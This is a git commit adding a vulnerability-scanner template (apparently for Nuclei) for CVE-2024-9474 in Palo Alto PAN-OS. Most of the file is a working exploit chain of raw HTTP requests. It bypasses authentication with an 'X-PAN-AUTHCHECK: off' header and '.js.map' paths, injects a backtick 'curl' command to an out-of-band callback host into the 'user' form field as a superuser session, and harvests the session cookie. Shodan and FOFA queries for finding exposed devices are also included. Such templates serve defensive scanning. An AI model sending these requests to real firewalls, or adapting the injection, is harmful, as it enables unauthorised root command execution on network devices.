Create CVE-2024-9474.yaml
parent
c9248c078a
commit
a306bcf85a
|
@ -0,0 +1,83 @@
|
||||||
|
id: CVE-2024-9474
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: PAN-OS Management Web Interface - Command Injection
|
||||||
|
author: watchTowr,iamnoooob,rootxharsh,pdresearch
|
||||||
|
severity: high
|
||||||
|
description: |
|
||||||
|
A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.
|
||||||
|
Cloud NGFW and Prisma Access are not impacted by this vulnerability.
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
||||||
|
cvss-score: 7.2
|
||||||
|
cve-id: CVE-2024-9474
|
||||||
|
cwe-id: CWE-78
|
||||||
|
epss-score: 0.02252
|
||||||
|
epss-percentile: 0.89926
|
||||||
|
cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
||||||
|
metadata:
|
||||||
|
vendor: paloaltonetworks
|
||||||
|
product: pan-os
|
||||||
|
shodan-query:
|
||||||
|
- cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
|
||||||
|
- http.favicon.hash:"-631559155"
|
||||||
|
fofa-query: icon_hash="-631559155"
|
||||||
|
tags: cve,cve2024,panos,rce,kev
|
||||||
|
|
||||||
|
variables:
|
||||||
|
rand: "{{to_lower(rand_text_alpha(5))}}"
|
||||||
|
|
||||||
|
http:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
X-PAN-AUTHCHECK: off
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'status_code == 200'
|
||||||
|
- 'contains_all(headers, "Expires: 0", "PHPSESSID=", "application/json")'
|
||||||
|
- 'contains(body, "0.0.0")'
|
||||||
|
condition: and
|
||||||
|
internal: true
|
||||||
|
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
POST /php/utils/createRemoteAppwebSession.php/{{rand}}.js.map HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
X-PAN-AUTHCHECK: off
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
user=`curl+{{interactsh-url}}`&userRole=superuser&remoteHost=&vsys=vsys1
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body
|
||||||
|
words:
|
||||||
|
- "@start@PHPSESSID="
|
||||||
|
internal: true
|
||||||
|
|
||||||
|
extractors:
|
||||||
|
- type: regex
|
||||||
|
part: body
|
||||||
|
name: phpsessid
|
||||||
|
group: 1
|
||||||
|
regex:
|
||||||
|
- '@start@PHPSESSID=(.*?)@end@'
|
||||||
|
internal: true
|
||||||
|
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
GET /index.php/.js.map HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Cookie: PHPSESSID={{phpsessid}}
|
||||||
|
X-PAN-AUTHCHECK: off
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: dsl
|
||||||
|
dsl:
|
||||||
|
- 'contains(interactsh_protocol, "dns")'
|
||||||
|
- 'contains(body, "panos")'
|
||||||
|
condition: and
|
Loading…
Reference in New Issue